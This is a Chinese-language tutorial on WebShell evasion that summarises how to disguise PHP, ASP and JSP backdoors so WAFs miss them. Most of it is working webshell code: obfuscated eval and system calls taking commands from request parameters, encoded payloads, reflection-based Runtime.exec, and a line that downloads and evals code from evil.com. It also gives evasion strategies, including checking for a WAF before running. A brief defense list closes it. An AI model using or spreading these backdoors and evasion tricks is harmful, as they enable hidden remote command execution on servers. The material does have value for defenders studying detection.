绕过WebShell检测的总结之文件免杀
字数 907 2025-08-25 22:58:40
WebShell免杀技术总结:文件免杀绕过WAF检测
一、WAF检测原理与绕过基础
WAF(Web应用防火墙)通过维护规则库记录WebShell常用特征:
- 敏感函数(如eval、assert)
- 特定代码结构
- 常见恶意行为模式
绕过WAF的基础在于:
- WAF通常优先考虑业务可用性,其次才是安全性
- 不会完全禁止语言中可执行代码的结构/函数
- 主要检测敏感函数是否出现在非常用业务结构中
二、通用绕过方法
1. 混淆技术方向
- 字符串变换:拼接、编码、取反、加密
- 函数特性:可变函数、匿名函数、回调函数
- 类特性:类调用、继承、反射、序列化
- 注释技巧:参数注释、垃圾注释
- 变量污染:创建大量无关变量
2. 主要混淆手段
- 使用连接符(如PHP的
.、ASP的+和&)拼接字符串 - 编码转换:URL编码、Base64、ROT13、UTF-7等
- 字符串函数处理:chr、bin2hex、strrev、str_replace等
- 取反、异或、加密等运算
- 可变函数和回调函数
- 类相关技术
三、PHP WebShell免杀技术
1. PHP代码执行方式
eval(string $code) // PHP4/5/7
assert(mixed $assertion) // PHP4/5/7
preg_replace(/e修饰符) // PHP4/5
mb_ereg_replace() // 字符串替换执行
include/require系列 // 文件包含
file_get_contents() // 文件读取
2. PHP混淆技术详解
(1) 字符串拼接与隔离
// 简单拼接
$cmd = "s"."y"."s"."t"."e"."m";
$cmd($_GET['cmd']);
// 数组下标取值
$arr = array('a'=>'system');
$arr['a']($_GET['cmd']);
// 远程加载核心shell
$code = file_get_contents('http://evil.com/shell.txt');
eval($code);
(2) 变量覆盖技术
extract($_REQUEST); // 从请求数组创建变量
parse_str($_GET['x']); // 解析查询字符串为变量
foreach($_POST as $k=>$v)
$$
k=$v; // 动态创建变量
(3) 编码转换技术
// Base64编码
eval(base64_decode('c3lzdGVtKCJ3aG9hbWkiKTs='));
// URL编码
eval(urldecode('%73%79%73%74%65%6D%28%22%77%68%6F%61%6D%69%22%29%3B'));
// ROT13
eval(str_rot13('flfgrz("jubnz");'));
// 十六进制
eval(hex2bin('73797374656d282277686f616d6922293b'));
(4) 高级混淆示例
function fff(){
$tql = array("ddw" => $_REQUEST['pass']);
$ddw = null;
if ($_GET['key'] === 'hash')
extract($tql, EXTR_IF_EXISTS);
return $ddw;
}
$aaa = isset($_GET['key']) ? array('xml', array("xswl" => fff())) : null;
eval($aaa[1]["xswl"]);
四、ASP/ASPX WebShell免杀技术
1. ASP代码执行方式
Eval(Request(0))
Execute(Request(0))
ExecuteGlobal(Request(0))
2. ASP混淆技术
' 字符串拼接
cmd = "E" & "v" & "a" & "l"
Execute(cmd & "(Request(0))")
' URL编码
Execute(Unescape("E%76%61%6C%28%52%65%71%75%65%73%74%28%30%29%29"))
' 使用ScriptControl组件
Set sc = CreateObject("ScriptControl")
sc.Language = "VBScript"
sc.AddCode(Request(0))
sc.Run("Main")
五、JSP WebShell免杀技术
1. JSP代码执行方式
Runtime.getRuntime().exec("cmd")
ProcessBuilder().command("cmd").start()
2. JSP混淆技术
// 字符串拼接
String cmd = "cm" + "d /c " + request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
// 类反射
Class cls = Class.forName("java.lang.Runtime");
Method m = cls.getMethod("exec", String.class);
m.invoke(cls.getMethod("getRuntime").invoke(null), "cmd");
六、综合绕过策略
- 组合使用多种混淆技术:如编码+拼接+类反射
- 利用业务正常功能:伪装成正常业务代码
- 分散敏感特征:将敏感操作拆分到多个位置
- 动态加载:从外部资源加载核心代码
- 环境检测:先检测是否为WAF环境再执行
七、防御建议
- 使用多层防御:WAF+文件监控+行为监控
- 限制敏感函数使用
- 严格控制文件上传和执行权限
- 定期更新WAF规则库
- 监控异常文件操作和系统命令执行
八、总结
WebShell免杀技术本质上是与WAF的对抗过程,通过不断变化的混淆技术和代码结构来绕过检测。安全人员需要深入理解各种编程语言特性和WAF检测原理,才能有效防御此类攻击。